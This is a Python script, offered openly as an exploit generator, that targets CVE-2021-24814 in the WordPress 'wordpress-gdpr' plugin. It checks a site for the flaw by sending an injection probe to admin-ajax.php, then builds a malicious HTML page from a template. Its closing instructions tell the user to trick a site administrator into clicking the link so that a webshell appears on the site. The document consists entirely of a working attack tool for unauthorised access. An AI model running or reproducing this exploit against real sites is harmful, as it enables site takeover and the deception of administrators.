text: #!/usr/bin/env python3
  
  import sys
  import requests
  from urllib.parse import urlparse
  
  
  print('This script generates a webpage used to exploit CVE-2021-24814')
  print('')
  
  def die(msg):
      print('ERROR : ' + msg)
      sys.exit()
  
  # Get root URL of the WP
  targetbaseurl = input('Please provide root URL of the target WP : ')
  if targetbaseurl[-1:] == "/":
      targetbaseurl = targetbaseurl[:-1]
  
  # Test request towards WP
  print('')
  print('Checking target WP...')
  try:
      r = requests.get(f'{targetbaseurl}/')
  except:
      die('Unable to reach this URL')
  if r.status_code not in [200, 301, 302] or "wp-includes" not in r.text:
      die('This site is not a WP or is not available')
  
  # Check if this WP is vulnerable
  r2 = requests.get(f'{targetbaseurl}/wp-content/plugins/wordpress-gdpr/', allow_redirects=False)
  if r2.status_code == 200:
      r3 = requests.post(f'{targetbaseurl}/wp-admin/admin-ajax.php', data={
          'action': 'check_privacy_settings',
          'settings[10]': 'Ramses<II>'
      })
  
      if (r3.status_code == 200 and '"Ramses<II>":{' in r3.text and 'text/html' in r3.headers['Content-Type']):
          print('  => This WP is vulnerable to CVE-2021-24814 !')
      else:
          die('This WP is NOT vulnerable to CVE-2021-24814')
  else:
      die('This WP does not have wordpress-gdpr plugin installed')
  
  # Continue ?
  print('')
  print('The malicious webpage will be generated for the target WP.')
  continueornot = input('Continue ? [Y/n] ')
  if continueornot.lower() == "n":
      sys.exit()
  
  # Get the SUCCESS redirect URL
  print('')
  successurl = input('Please provide the redirect URL after SUCCESSFUL exploitation : ')
  
  # Get the FAILURE redirect URL
  failureurl = input('Please provide the redirect URL after FAILED exploitation : ')
  
  # Generate the HTML page
  targetid = urlparse(targetbaseurl).netloc.replace('.','-')
  exploitfile = 'exploit-'+targetid+'.html'
  
  with open('exploit.tpl', 'r') as file:
      tpl = file.read()
  
  exploit = tpl.replace('{{TARGET_WP}}', targetbaseurl)
  exploit = exploit.replace('{{REDIRECT_URL_SUCCESS}}', successurl)
  exploit = exploit.replace('{{REDIRECT_URL_FAILURE}}', failureurl)
  
  with open(exploitfile, 'w') as file:
      file.write(exploit)
  
  # Info
  print('')
  print('The exploit file (HTML) has been generated : ' + exploitfile)
  print('You need to host this file and trick an administrator into following your link.')
  print('Once the admin has clicked on your link, you will get a webshell there :')
  print(f'  {targetbaseurl}/wp-content/plugins/wordpress-gdpr/public/index.php')
  